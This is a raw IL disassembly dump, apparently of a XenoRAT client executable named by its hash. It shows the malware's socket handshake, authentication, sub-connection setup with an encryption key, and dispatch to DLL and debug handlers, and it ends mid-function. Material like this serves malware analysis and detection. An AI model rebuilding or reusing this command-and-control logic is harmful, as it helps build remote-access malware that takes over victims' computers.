File xenorat_388d80a52076aa1f8329606606b21086eddf22d051624057b329c9250489f0c7.exe
Function:
    00003a28
    00003a28<Type2Receive>d__9::MoveNext:
    00003a28ldarg.0
    00003a29ldfld <>1__state
    00003a2estloc.0
    00003a2fldarg.0
    00003a30ldfld <>4__this
    00003a35stloc.1
    00003a36ldloc.0
    00003a37switch (IL_006c, IL_00fa, IL_0168, IL_01d2, IL_023b)
    00003a50br IL_025f
    00003a55ldarg.0
    00003a56ldfld subServer
    00003a5bcallvirt ReceiveAsync
    00003a60callvirt GetAwaiter
    00003a65stloc.s 4
    00003a67ldloca.s 4
    00003a69call get_IsCompleted
    00003a6ebrtrue.s IL_0089
    00003a70ldarg.0
    00003a71ldc.i4.0
    00003a72dup
    00003a73stloc.0
    00003a74stfld <>1__state
    00003a79ldarg.0
    00003a7aldloc.s 4
    00003a7cstfld <>u__1
    00003a81ldarg.0
    00003a82ldflda <>t__builder
    00003a87ldloca.s 4
    00003a89ldarg.0
    00003a8acall 0x2B00001D
    00003a8fleave IL_02b5
    00003a94ldarg.0
    00003a95ldfld <>u__1
    00003a9astloc.s 4
    00003a9cldarg.0
    00003a9dldflda <>u__1
    00003aa2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
    00003aa8ldarg.0
    00003aa9ldc.i4.m1
    00003aaadup
    00003aabstloc.0
    00003aacstfld <>1__state
    00003ab1ldloca.s 4
    00003ab3call GetResult
    00003ab8stloc.2
    00003ab9ldloc.2
    00003ababrfalse IL_027c
    00003abfldloc.2
    00003ac0ldc.i4.0
    00003ac1ldelem.u1
    00003ac2stloc.3
    00003ac3ldloc.3
    00003ac4switch (IL_00ba, IL_0123, IL_0191, IL_01f8, IL_01fd)
    00003addbr IL_025f
    00003ae2ldloc.1
    00003ae3ldarg.0
    00003ae4ldfld subServer
    00003ae9call SendUpdateInfo
    00003aeecallvirt GetAwaiter
    00003af3stloc.s 5
    00003af5ldloca.s 5
    00003af7call get_IsCompleted
    00003afcbrtrue.s IL_0117
    00003afeldarg.0
    00003affldc.i4.1
    00003b00dup
    00003b01stloc.0
    00003b02stfld <>1__state
    00003b07ldarg.0
    00003b08ldloc.s 5
    00003b0astfld <>u__2
    00003b0fldarg.0
    00003b10ldflda <>t__builder
    00003b15ldloca.s 5
    00003b17ldarg.0
    00003b18call 0x2B00001E
    00003b1dleave IL_02b5
    00003b22ldarg.0
    00003b23ldfld <>u__2
    00003b28stloc.s 5
    00003b2aldarg.0
    00003b2bldflda <>u__2
    00003b30initobj System.Runtime.CompilerServices.TaskAwaiter
    00003b36ldarg.0
    00003b37ldc.i4.m1
    00003b38dup
    00003b39stloc.0
    00003b3astfld <>1__state
    00003b3fldloca.s 5
    00003b41call GetResult
    00003b46br IL_025f
    00003b4bldloc.1
    00003b4cldfld dllhandler
    00003b51ldarg.0
    00003b52ldfld subServer
    00003b57callvirt DllNodeHandler
    00003b5ccallvirt GetAwaiter
    00003b61stloc.s 5
    00003b63ldloca.s 5
    00003b65call get_IsCompleted
    00003b6abrtrue.s IL_0185
    00003b6cldarg.0
    00003b6dldc.i4.2
    00003b6edup
    00003b6fstloc.0
    00003b70stfld <>1__state
    00003b75ldarg.0
    00003b76ldloc.s 5
    00003b78stfld <>u__2
    00003b7dldarg.0
    00003b7eldflda <>t__builder
    00003b83ldloca.s 5
    00003b85ldarg.0
    00003b86call 0x2B00001E
    00003b8bleave IL_02b5
    00003b90ldarg.0
    00003b91ldfld <>u__2
    00003b96stloc.s 5
    00003b98ldarg.0
    00003b99ldflda <>u__2
    00003b9einitobj System.Runtime.CompilerServices.TaskAwaiter
    00003ba4ldarg.0
    00003ba5ldc.i4.m1
    00003ba6dup
    00003ba7stloc.0
    00003ba8stfld <>1__state
    00003badldloca.s 5
    00003bafcall GetResult
    00003bb4br IL_027c
    00003bb9ldloc.1
    00003bbaldarg.0
    00003bbbldfld subServer
    00003bc0ldloc.2
    00003bc1call setSetId
    00003bc6callvirt GetAwaiter
    00003bcbstloc.s 5
    00003bcdldloca.s 5
    00003bcfcall get_IsCompleted
    00003bd4brtrue.s IL_01ef
    00003bd6ldarg.0
    00003bd7ldc.i4.3
    00003bd8dup
    00003bd9stloc.0
    00003bdastfld <>1__state
    00003bdfldarg.0
    00003be0ldloc.s 5
    00003be2stfld <>u__2
    00003be7ldarg.0
    00003be8ldflda <>t__builder
    00003bedldloca.s 5
    00003befldarg.0
    00003bf0call 0x2B00001E
    00003bf5leave IL_02b5
    00003bfaldarg.0
    00003bfbldfld <>u__2
    00003c00stloc.s 5
    00003c02ldarg.0
    00003c03ldflda <>u__2
    00003c08initobj System.Runtime.CompilerServices.TaskAwaiter
    00003c0eldarg.0
    00003c0fldc.i4.m1
    00003c10dup
    00003c11stloc.0
    00003c12stfld <>1__state
    00003c17ldloca.s 5
    00003c19call GetResult
    00003c1ebr.s IL_025f
    00003c20leave IL_02a2
    00003c25ldloc.1
    00003c26ldarg.0
    00003c27ldfld subServer
    00003c2cldloc.2
    00003c2dcall DebugMenu
    00003c32callvirt GetAwaiter
    00003c37stloc.s 5
    00003c39ldloca.s 5
    00003c3bcall get_IsCompleted
    00003c40brtrue.s IL_0258
    00003c42ldarg.0
    00003c43ldc.i4.4
    00003c44dup
    00003c45stloc.0
    00003c46stfld <>1__state
    00003c4bldarg.0
    00003c4cldloc.s 5
    00003c4estfld <>u__2
    00003c53ldarg.0
    00003c54ldflda <>t__builder
    00003c59ldloca.s 5
    00003c5bldarg.0
    00003c5ccall 0x2B00001E
    00003c61leave.s IL_02b5
    00003c63ldarg.0
    00003c64ldfld <>u__2
    00003c69stloc.s 5
    00003c6bldarg.0
    00003c6cldflda <>u__2
    00003c71initobj System.Runtime.CompilerServices.TaskAwaiter
    00003c77ldarg.0
    00003c78ldc.i4.m1
    00003c79dup
    00003c7astloc.0
    00003c7bstfld <>1__state
    00003c80ldloca.s 5
    00003c82call GetResult
    00003c87ldarg.0
    00003c88ldfld subServer
    00003c8dcallvirt Connected
    00003c92brfalse.s IL_027c
    00003c94ldloc.1
    00003c95ldfld Main
    00003c9acallvirt Connected
    00003c9fbrtrue IL_002d
    00003ca4ldarg.0
    00003ca5ldfld subServer
    00003caacallvirt Disconnect
    00003cafleave.s IL_02a2
    00003cb1stloc.s 6
    00003cb3ldarg.0
    00003cb4ldc.i4.s -2
    00003cb6stfld <>1__state
    00003cbbldarg.0
    00003cbcldflda <>t__builder
    00003cc1ldloc.s 6
    00003cc3call SetException
    00003cc8leave.s IL_02b5
    00003ccaldarg.0
    00003ccbldc.i4.s -2
    00003ccdstfld <>1__state
    00003cd2ldarg.0
    00003cd3ldflda <>t__builder
    00003cd8call SetResult
    00003cddret
    00003a28
    00003d08
    00003d08<setSetId>d__8::MoveNext:
    00003d08ldarg.0
    00003d09ldfld <>1__state
    00003d0estloc.0
    00003d0fldloc.0
    00003d10brfalse.s IL_0072
    00003d12ldc.i4.1
    00003d13newarr System.Byte
    00003d18dup
    00003d19ldc.i4.0
    00003d1aldc.i4.1
    00003d1bstelem.i1
    00003d1cstloc.1
    00003d1dldarg.0
    00003d1eldfld subServer
    00003d23ldarg.0
    00003d24ldfld subServer
    00003d29ldfld sock
    00003d2eldarg.0
    00003d2fldfld data
    00003d34ldc.i4.1
    00003d35callvirt BytesToInt
    00003d3astfld SetId
    00003d3fldarg.0
    00003d40ldfld subServer
    00003d45ldloc.1
    00003d46callvirt SendAsync
    00003d4bcallvirt GetAwaiter
    00003d50stloc.2
    00003d51ldloca.s 2
    00003d53call get_IsCompleted
    00003d58brtrue.s IL_008e
    00003d5aldarg.0
    00003d5bldc.i4.0
    00003d5cdup
    00003d5dstloc.0
    00003d5estfld <>1__state
    00003d63ldarg.0
    00003d64ldloc.2
    00003d65stfld <>u__1
    00003d6aldarg.0
    00003d6bldflda <>t__builder
    00003d70ldloca.s 2
    00003d72ldarg.0
    00003d73call 0x2B00001F
    00003d78leave.s IL_00c2
    00003d7aldarg.0
    00003d7bldfld <>u__1
    00003d80stloc.2
    00003d81ldarg.0
    00003d82ldflda <>u__1
    00003d87initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    00003d8dldarg.0
    00003d8eldc.i4.m1
    00003d8fdup
    00003d90stloc.0
    00003d91stfld <>1__state
    00003d96ldloca.s 2
    00003d98call GetResult
    00003d9dpop
    00003d9eleave.s IL_00af
    00003da0stloc.3
    00003da1ldarg.0
    00003da2ldc.i4.s -2
    00003da4stfld <>1__state
    00003da9ldarg.0
    00003daaldflda <>t__builder
    00003dafldloc.3
    00003db0call SetException
    00003db5leave.s IL_00c2
    00003db7ldarg.0
    00003db8ldc.i4.s -2
    00003dbastfld <>1__state
    00003dbfldarg.0
    00003dc0ldflda <>t__builder
    00003dc5call SetResult
    00003dcaret
    00003d08
    00003de8
    00003de8xeno_rat_client.Node::Disconnect:
    00003de8ldloca.s 0
    00003deacall Create
    00003defstfld <>t__builder
    00003df4ldloca.s 0
    00003df6ldarg.0
    00003df7stfld <>4__this
    00003dfcldloca.s 0
    00003dfeldc.i4.m1
    00003dffstfld <>1__state
    00003e04ldloca.s 0
    00003e06ldflda <>t__builder
    00003e0bldloca.s 0
    00003e0dcall 0x2B000020
    00003e12ret
    00003de8
    00003e20
    00003e20xeno_rat_client.Node::ConnectSubSockAsync:
    00003e20ldloca.s 0
    00003e22call Create
    00003e27stfld <>t__builder
    00003e2cldloca.s 0
    00003e2eldarg.0
    00003e2fstfld <>4__this
    00003e34ldloca.s 0
    00003e36ldarg.1
    00003e37stfld type
    00003e3cldloca.s 0
    00003e3eldarg.2
    00003e3fstfld retid
    00003e44ldloca.s 0
    00003e46ldarg.3
    00003e47stfld OnDisconnect
    00003e4cldloca.s 0
    00003e4eldc.i4.m1
    00003e4fstfld <>1__state
    00003e54ldloca.s 0
    00003e56ldflda <>t__builder
    00003e5bldloca.s 0
    00003e5dcall 0x2B000021
    00003e62ldloca.s 0
    00003e64ldflda <>t__builder
    00003e69call get_Task
    00003e6eret
    00003e20
    00003e7c
    00003e7cxeno_rat_client.Node::Connected:
    00003e7cldarg.0
    00003e7dldfld sock
    00003e82ldfld sock
    00003e87callvirt get_Connected
    00003e8cstloc.0
    00003e8dleave.s IL_0018
    00003e8fpop
    00003e90ldc.i4.0
    00003e91stloc.0
    00003e92leave.s IL_0018
    00003e94ldloc.0
    00003e95ret
    00003e7c
    00003eb4
    00003eb4xeno_rat_client.Node::ReceiveAsync:
    00003eb4ldloca.s 0
    00003eb6call Create
    00003ebbstfld <>t__builder
    00003ec0ldloca.s 0
    00003ec2ldarg.0
    00003ec3stfld <>4__this
    00003ec8ldloca.s 0
    00003ecaldc.i4.m1
    00003ecbstfld <>1__state
    00003ed0ldloca.s 0
    00003ed2ldflda <>t__builder
    00003ed7ldloca.s 0
    00003ed9call 0x2B000022
    00003edeldloca.s 0
    00003ee0ldflda <>t__builder
    00003ee5call get_Task
    00003eearet
    00003eb4
    00003ef8
    00003ef8xeno_rat_client.Node::SendAsync:
    00003ef8ldloca.s 0
    00003efacall Create
    00003effstfld <>t__builder
    00003f04ldloca.s 0
    00003f06ldarg.0
    00003f07stfld <>4__this
    00003f0cldloca.s 0
    00003f0eldarg.1
    00003f0fstfld data
    00003f14ldloca.s 0
    00003f16ldc.i4.m1
    00003f17stfld <>1__state
    00003f1cldloca.s 0
    00003f1eldflda <>t__builder
    00003f23ldloca.s 0
    00003f25call 0x2B000023
    00003f2aldloca.s 0
    00003f2cldflda <>t__builder
    00003f31call get_Task
    00003f36ret
    00003ef8
    00003f44
    00003f44xeno_rat_client.Node::AuthenticateAsync:
    00003f44ldloca.s 0
    00003f46call Create
    00003f4bstfld <>t__builder
    00003f50ldloca.s 0
    00003f52ldarg.0
    00003f53stfld <>4__this
    00003f58ldloca.s 0
    00003f5aldarg.1
    00003f5bstfld type
    00003f60ldloca.s 0
    00003f62ldarg.2
    00003f63stfld id
    00003f68ldloca.s 0
    00003f6aldc.i4.m1
    00003f6bstfld <>1__state
    00003f70ldloca.s 0
    00003f72ldflda <>t__builder
    00003f77ldloca.s 0
    00003f79call 0x2B000024
    00003f7eldloca.s 0
    00003f80ldflda <>t__builder
    00003f85call get_Task
    00003f8aret
    00003f44
    00003f98
    00003f98<AuthenticateAsync>d__18::MoveNext:
    00003f98ldarg.0
    00003f99ldfld <>1__state
    00003f9estloc.0
    00003f9fldarg.0
    00003fa0ldfld <>4__this
    00003fa5stloc.1
    00003fa6ldloc.0
    00003fa7ldc.i4.5
    00003fa8ble.un.s IL_0029
    00003faaldarg.0
    00003fabldc.i4.7
    00003facnewarr System.Byte
    00003fb1dup
    00003fb2ldtoken 1D1CC35EA61331C5A85D2A960611153E37A62DCD916269D6E3B5A0DAC2EF3824
    00003fb7call InitializeArray
    00003fbcstfld <comp>5__2
    00003fc1nop
    00003fc2ldloc.0
    00003fc3switch (IL_0097, IL_00fc, IL_0168, IL_01fe, IL_0275, IL_0313)
    00003fe0ldloc.1
    00003fe1ldfld sock
    00003fe6ldc.i4 5000
    00003febcallvirt SetRecvTimeout
    00003ff0ldloc.1
    00003ff1ldfld sock
    00003ff6callvirt ReceiveAsync
    00003ffbcallvirt GetAwaiter
    00004000stloc.s 4
    00004002ldloca.s 4
    00004004call get_IsCompleted
    00004009brtrue.s IL_00b4
    0000400bldarg.0
    0000400cldc.i4.0
    0000400ddup
    0000400estloc.0
    0000400fstfld <>1__state
    00004014ldarg.0
    00004015ldloc.s 4
    00004017stfld <>u__1
    0000401cldarg.0
    0000401dldflda <>t__builder
    00004022ldloca.s 4
    00004024ldarg.0
    00004025call 0x2B000025
    0000402aleave IL_0391
    0000402fldarg.0
    00004030ldfld <>u__1
    00004035stloc.s 4
    00004037ldarg.0
    00004038ldflda <>u__1
    0000403dinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
    00004043ldarg.0
    00004044ldc.i4.m1
    00004045dup
    00004046stloc.0
    00004047stfld <>1__state
    0000404cldloca.s 4
    0000404ecall GetResult
    00004053stloc.3
    00004054ldloc.1
    00004055ldfld sock
    0000405aldloc.3
    0000405bcallvirt SendAsync
    00004060callvirt GetAwaiter
    00004065stloc.s 5
    00004067ldloca.s 5
    00004069call get_IsCompleted
    0000406ebrtrue.s IL_0119
    00004070ldarg.0
    00004071ldc.i4.1
    00004072dup
    00004073stloc.0
    00004074stfld <>1__state
    00004079ldarg.0
    0000407aldloc.s 5
    0000407cstfld <>u__2
    00004081ldarg.0
    00004082ldflda <>t__builder
    00004087ldloca.s 5
    00004089ldarg.0
    0000408acall 0x2B000026
    0000408fleave IL_0391
    00004094ldarg.0
    00004095ldfld <>u__2
    0000409astloc.s 5
    0000409cldarg.0
    0000409dldflda <>u__2
    000040a2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    000040a8ldarg.0
    000040a9ldc.i4.m1
    000040aadup
    000040abstloc.0
    000040acstfld <>1__state
    000040b1ldloca.s 5
    000040b3call GetResult
    000040b8brtrue.s IL_0129
    000040baldc.i4.0
    000040bbstloc.2
    000040bcleave IL_0376
    000040c1ldloc.1
    000040c2ldfld sock
    000040c7callvirt ReceiveAsync
    000040cccallvirt GetAwaiter
    000040d1stloc.s 4
    000040d3ldloca.s 4
    000040d5call get_IsCompleted
    000040dabrtrue.s IL_0185
    000040dcldarg.0
    000040ddldc.i4.2
    000040dedup
    000040dfstloc.0
    000040e0stfld <>1__state
    000040e5ldarg.0
    000040e6ldloc.s 4
    000040e8stfld <>u__1
    000040edldarg.0
    000040eeldflda <>t__builder
    000040f3ldloca.s 4
    000040f5ldarg.0
    000040f6call 0x2B000025
    000040fbleave IL_0391
    00004100ldarg.0
    00004101ldfld <>u__1
    00004106stloc.s 4
    00004108ldarg.0
    00004109ldflda <>u__1
    0000410einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
    00004114ldarg.0
    00004115ldc.i4.m1
    00004116dup
    00004117stloc.0
    00004118stfld <>1__state
    0000411dldloca.s 4
    0000411fcall GetResult
    00004124stloc.3
    00004125ldloc.1
    00004126ldfld sock
    0000412bcallvirt ResetRecvTimeout
    00004130ldloc.1
    00004131ldarg.0
    00004132ldfld <comp>5__2
    00004137ldloc.3
    00004138call ByteArrayCompare
    0000413dbrfalse IL_034d
    00004142ldloc.1
    00004143ldfld sock
    00004148ldarg.0
    00004149ldfld type
    0000414ecallvirt IntToBytes
    00004153stloc.s 6
    00004155ldloc.1
    00004156ldfld sock
    0000415bldloc.s 6
    0000415dcallvirt SendAsync
    00004162callvirt GetAwaiter
    00004167stloc.s 5
    00004169ldloca.s 5
    0000416bcall get_IsCompleted
    00004170brtrue.s IL_021b
    00004172ldarg.0
    00004173ldc.i4.3
    00004174dup
    00004175stloc.0
    00004176stfld <>1__state
    0000417bldarg.0
    0000417cldloc.s 5
    0000417estfld <>u__2
    00004183ldarg.0
    00004184ldflda <>t__builder
    00004189ldloca.s 5
    0000418bldarg.0
    0000418ccall 0x2B000026
    00004191leave IL_0391
    00004196ldarg.0
    00004197ldfld <>u__2
    0000419cstloc.s 5
    0000419eldarg.0
    0000419fldflda <>u__2
    000041a4initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    000041aaldarg.0
    000041abldc.i4.m1
    000041acdup
    000041adstloc.0
    000041aestfld <>1__state
    000041b3ldloca.s 5
    000041b5call GetResult
    000041babrtrue.s IL_022b
    000041bcldc.i4.0
    000041bdstloc.2
    000041beleave IL_0376
    000041c3ldarg.0
    000041c4ldfld type
    000041c9brtrue IL_02b6
    000041celdloc.1
    000041cfldfld sock
    000041d4callvirt ReceiveAsync
    000041d9callvirt GetAwaiter
    000041destloc.s 4
    000041e0ldloca.s 4
    000041e2call get_IsCompleted
    000041e7brtrue.s IL_0292
    000041e9ldarg.0
    000041ealdc.i4.4
    000041ebdup
    000041ecstloc.0
    000041edstfld <>1__state
    000041f2ldarg.0
    000041f3ldloc.s 4
    000041f5stfld <>u__1
    000041faldarg.0
    000041fbldflda <>t__builder
    00004200ldloca.s 4
    00004202ldarg.0
    00004203call 0x2B000025
    00004208leave IL_0391
    0000420dldarg.0
    0000420eldfld <>u__1
    00004213stloc.s 4
    00004215ldarg.0
    00004216ldflda <>u__1
    0000421binitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
    00004221ldarg.0
    00004222ldc.i4.m1
    00004223dup
    00004224stloc.0
    00004225stfld <>1__state
    0000422aldloca.s 4
    0000422ccall GetResult
    00004231stloc.3
    00004232ldloc.1
    00004233ldfld sock
    00004238ldloc.3
    00004239ldc.i4.0
    0000423acallvirt BytesToInt
    0000423fstloc.s 7
    00004241ldloc.1
    00004242ldloc.s 7
    00004244stfld ID
    00004249br IL_033d
    0000424eldloc.1
    0000424fldarg.0
    00004250ldfld id
    00004255stfld ID
    0000425aldloc.1
    0000425bldfld sock
    00004260ldarg.0
    00004261ldfld id
    00004266callvirt IntToBytes
    0000426bstloc.s 8
    0000426dldloc.1
    0000426eldfld sock
    00004273ldloc.s 8
    00004275callvirt SendAsync
    0000427acallvirt GetAwaiter
    0000427fstloc.s 5
    00004281ldloca.s 5
    00004283call get_IsCompleted
    00004288brtrue.s IL_0330
    0000428aldarg.0
    0000428bldc.i4.5
    0000428cdup
    0000428dstloc.0
    0000428estfld <>1__state
    00004293ldarg.0
    00004294ldloc.s 5
    00004296stfld <>u__2
    0000429bldarg.0
    0000429cldflda <>t__builder
    000042a1ldloca.s 5
    000042a3ldarg.0
    000042a4call 0x2B000026
    000042a9leave.s IL_0391
    000042abldarg.0
    000042acldfld <>u__2
    000042b1stloc.s 5
    000042b3ldarg.0
    000042b4ldflda <>u__2
    000042b9initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    000042bfldarg.0
    000042c0ldc.i4.m1
    000042c1dup
    000042c2stloc.0
    000042c3stfld <>1__state
    000042c8ldloca.s 5
    000042cacall GetResult
    000042cfbrtrue.s IL_033d
    000042d1ldc.i4.0
    000042d2stloc.2
    000042d3leave.s IL_0376
    000042d5ldloc.1
    000042d6ldarg.0
    000042d7ldfld type
    000042dcstfld SockType
    000042e1ldc.i4.1
    000042e2stloc.2
    000042e3leave.s IL_0376
    000042e5leave.s IL_0352
    000042e7pop
    000042e8leave.s IL_0352
    000042ealdc.i4.0
    000042ebstloc.2
    000042ecleave.s IL_0376
    000042eestloc.s 9
    000042f0ldarg.0
    000042f1ldc.i4.s -2
    000042f3stfld <>1__state
    000042f8ldarg.0
    000042f9ldnull
    000042fastfld <comp>5__2
    000042ffldarg.0
    00004300ldflda <>t__builder
    00004305ldloc.s 9
    00004307call SetException
    0000430cleave.s IL_0391
    0000430eldarg.0
    0000430fldc.i4.s -2
    00004311stfld <>1__state
    00004316ldarg.0
    00004317ldnull
    00004318stfld <comp>5__2
    0000431dldarg.0
    0000431eldflda <>t__builder
    00004323ldloc.2
    00004324call SetResult
    00004329ret
    00003f98
    0000436c
    0000436c<ConnectSubSockAsync>d__11::MoveNext:
    0000436cldarg.0
    0000436dldfld <>1__state
    00004372stloc.0
    00004373ldarg.0
    00004374ldfld <>4__this
    00004379stloc.1
    0000437aldloc.0
    0000437bldc.i4.3
    0000437cble.un.s IL_001b
    0000437eldloc.0
    0000437fldc.i4.4
    00004380beq IL_0278
    00004385ldc.i4.0
    00004386stloc.3
    00004387nop
    00004388ldloc.0
    00004389switch (IL_008f, IL_010f, IL_0190, IL_01fd)
    0000439eldarg.0
    0000439fldc.i4.2
    000043a0ldc.i4.1
    000043a1ldc.i4.6
    000043a2newobj .ctor
    000043a7stfld <socket>5__2
    000043acldarg.0
    000043adldfld <socket>5__2
    000043b2ldloc.1
    000043b3ldfld sock
    000043b8ldfld sock
    000043bdcallvirt get_RemoteEndPoint
    000043c2call ConnectAsync
    000043c7callvirt GetAwaiter
    000043ccstloc.s 6
    000043celdloca.s 6
    000043d0call get_IsCompleted
    000043d5brtrue.s IL_00ac
    000043d7ldarg.0
    000043d8ldc.i4.0
    000043d9dup
    000043dastloc.0
    000043dbstfld <>1__state
    000043e0ldarg.0
    000043e1ldloc.s 6
    000043e3stfld <>u__1
    000043e8ldarg.0
    000043e9ldflda <>t__builder
    000043eeldloca.s 6
    000043f0ldarg.0
    000043f1call 0x2B000027
    000043f6leave IL_02ce
    000043fbldarg.0
    000043fcldfld <>u__1
    00004401stloc.s 6
    00004403ldarg.0
    00004404ldflda <>u__1
    00004409initobj System.Runtime.CompilerServices.TaskAwaiter
    0000440fldarg.0
    00004410ldc.i4.m1
    00004411dup
    00004412stloc.0
    00004413stfld <>1__state
    00004418ldloca.s 6
    0000441acall GetResult
    0000441fldarg.0
    00004420ldfld <socket>5__2
    00004425ldloc.1
    00004426ldfld sock
    0000442bldfld EncryptionKey
    00004430ldarg.0
    00004431ldfld type
    00004436ldloc.1
    00004437ldfld ID
    0000443cldarg.0
    0000443dldfld OnDisconnect
    00004442call ConnectAndSetupAsync
    00004447callvirt GetAwaiter
    0000444cstloc.s 8
    0000444eldloca.s 8
    00004450call get_IsCompleted
    00004455brtrue.s IL_012c
    00004457ldarg.0
    00004458ldc.i4.1
    00004459dup
    0000445astloc.0
    0000445bstfld <>1__state
    00004460ldarg.0
    00004461ldloc.s 8
    00004463stfld <>u__2
    00004468ldarg.0
    00004469ldflda <>t__builder
    0000446eldloca.s 8
    00004470ldarg.0
    00004471call 0x2B000028
    00004476leave IL_02ce
    0000447bldarg.0
    0000447cldfld <>u__2
    00004481stloc.s 8
    00004483ldarg.0
    00004484ldflda <>u__2
    00004489initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<class xeno_rat_client.Node>
    0000448fldarg.0
    00004490ldc.i4.m1
    00004491dup
    00004492stloc.0
    00004493stfld <>1__state
    00004498ldloca.s 8
    0000449acall GetResult
    0000449fstloc.s 7
    000044a1ldarg.0
    000044a2ldloc.s 7
    000044a4stfld <sub>5__3
    000044a9ldc.i4.1
    000044aanewarr System.Byte
    000044afdup
    000044b0ldc.i4.0
    000044b1ldarg.0
    000044b2ldfld retid
    000044b7conv.u1
    000044b8stelem.i1
    000044b9stloc.s 4
    000044bbldarg.0
    000044bcldfld <sub>5__3
    000044c1ldloc.s 4
    000044c3callvirt SendAsync
    000044c8callvirt GetAwaiter
    000044cdstloc.s 9
    000044cfldloca.s 9
    000044d1call get_IsCompleted
    000044d6brtrue.s IL_01ad
    000044d8ldarg.0
    000044d9ldc.i4.2
    000044dadup
    000044dbstloc.0
    000044dcstfld <>1__state
    000044e1ldarg.0
    000044e2ldloc.s 9
    000044e4stfld <>u__3
    000044e9ldarg.0
    000044ealdflda <>t__builder
    000044efldloca.s 9
    000044f1ldarg.0
    000044f2call 0x2B000029
    000044f7leave IL_02ce
    000044fcldarg.0
    000044fdldfld <>u__3
    00004502stloc.s 9
    00004504ldarg.0
    00004505ldflda <>u__3
    0000450ainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    00004510ldarg.0
    00004511ldc.i4.m1
    00004512dup
    00004513stloc.0
    00004514stfld <>1__state
    00004519ldloca.s 9
    0000451bcall GetResult
    00004520pop
    00004521ldc.i4.1
    00004522newarr System.Byte
    00004527dup
    00004528ldc.i4.0
    00004529ldc.i4.1
    0000452astelem.i1
    0000452bstloc.s 5
    0000452dldloc.1
    0000452eldloc.s 5
    00004530call SendAsync
    00004535callvirt GetAwaiter
    0000453astloc.s 9
    0000453cldloca.s 9
    0000453ecall get_IsCompleted
    00004543brtrue.s IL_021a
    00004545ldarg.0
    00004546ldc.i4.3
    00004547dup
    00004548stloc.0
    00004549stfld <>1__state
    0000454eldarg.0
    0000454fldloc.s 9
    00004551stfld <>u__3
    00004556ldarg.0
    00004557ldflda <>t__builder
    0000455cldloca.s 9
    0000455eldarg.0
    0000455fcall 0x2B000029
    00004564leave IL_02ce
    00004569ldarg.0
    0000456aldfld <>u__3
    0000456fstloc.s 9
    00004571ldarg.0
    00004572ldflda <>u__3
    00004577initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    0000457dldarg.0
    0000457eldc.i4.m1
    0000457fdup
    00004580stloc.0
    00004581stfld <>1__state
    00004586ldloca.s 9
    00004588call GetResult
    0000458dpop
    0000458eldarg.0
    0000458fldfld <sub>5__3
    00004594stloc.2
    00004595leave IL_02ba
    0000459apop
    0000459bldc.i4.1
    0000459cstloc.3
    0000459dleave.s IL_0233
    0000459fldloc.3
    000045a0ldc.i4.1
    000045a1bne.un.s IL_029f
    000045a3ldc.i4.1
    000045a4newarr System.Byte
    000045a9stloc.s 10
    000045abldloc.1
    000045acldloc.s 10
    000045aecall SendAsync
    000045b3callvirt GetAwaiter
    000045b8stloc.s 9
    000045baldloca.s 9
    000045bccall get_IsCompleted
    000045c1brtrue.s IL_0295
    000045c3ldarg.0
    000045c4ldc.i4.4
    000045c5dup
    000045c6stloc.0
    000045c7stfld <>1__state
    000045ccldarg.0
    000045cdldloc.s 9
    000045cfstfld <>u__3
    000045d4ldarg.0
    000045d5ldflda <>t__builder
    000045daldloca.s 9
    000045dcldarg.0
    000045ddcall 0x2B000029
    000045e2leave.s IL_02ce
    000045e4ldarg.0
    000045e5ldfld <>u__3
    000045eastloc.s 9
    000045ecldarg.0
    000045edldflda <>u__3
    000045f2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    000045f8ldarg.0
    000045f9ldc.i4.m1
    000045fadup
    000045fbstloc.0
    000045fcstfld <>1__state
    00004601ldloca.s 9
    00004603call GetResult
    00004608pop
    00004609ldnull
    0000460astloc.2
    0000460bleave.s IL_02ba
    0000460dstloc.s 11
    0000460fldarg.0
    00004610ldc.i4.s -2
    00004612stfld <>1__state
    00004617ldarg.0
    00004618ldflda <>t__builder
    0000461dldloc.s 11
    0000461fcall SetException
    00004624leave.s IL_02ce
    00004626ldarg.0
    00004627ldc.i4.s -2
    00004629stfld <>1__state
    0000462eldarg.0
    0000462fldflda <>t__builder
    00004634ldloc.2
    00004635call SetResult
    0000463aret
    0000436c
    0000467c
    0000467c<Disconnect>d__10::MoveNext:
    0000467cldarg.0
    0000467dldfld <>1__state
    00004682stloc.0
    00004683ldarg.0
    00004684ldfld <>4__this
    00004689stloc.1
    0000468aldloc.0
    0000468bpop
    0000468cnop
    0000468dldloc.0
    0000468ebrfalse.s IL_008e
    00004690ldloc.1
    00004691ldfld sock
    00004696ldfld sock
    0000469bbrfalse IL_00b1
    000046a0call get_Factory
    000046a5ldloc.1
    000046a6ldfld sock
    000046abldfld sock
    000046b0ldftn BeginDisconnect
    000046b6newobj .ctor
    000046bbldloc.1
    000046bcldfld sock
    000046c1ldfld sock
    000046c6ldftn EndDisconnect
    000046ccnewobj .ctor
    000046d1ldc.i4.1
    000046d2ldnull
    000046d3callvirt 0x2B00002A
    000046d8callvirt GetAwaiter
    000046ddstloc.3
    000046deldloca.s 3
    000046e0call get_IsCompleted
    000046e5brtrue.s IL_00aa
    000046e7ldarg.0
    000046e8ldc.i4.0
    000046e9dup
    000046eastloc.0
    000046ebstfld <>1__state
    000046f0ldarg.0
    000046f1ldloc.3
    000046f2stfld <>u__1
    000046f7ldarg.0
    000046f8ldflda <>t__builder
    000046fdldloca.s 3
    000046ffldarg.0
    00004700call 0x2B00002B
    00004705leave IL_017b
    0000470aldarg.0
    0000470bldfld <>u__1
    00004710stloc.3
    00004711ldarg.0
    00004712ldflda <>u__1
    00004717initobj System.Runtime.CompilerServices.TaskAwaiter
    0000471dldarg.0
    0000471eldc.i4.m1
    0000471fdup
    00004720stloc.0
    00004721stfld <>1__state
    00004726ldloca.s 3
    00004728call GetResult
    0000472dleave.s IL_00cd
    0000472fpop
    00004730ldloc.1
    00004731ldfld sock
    00004736ldfld sock
    0000473bdup
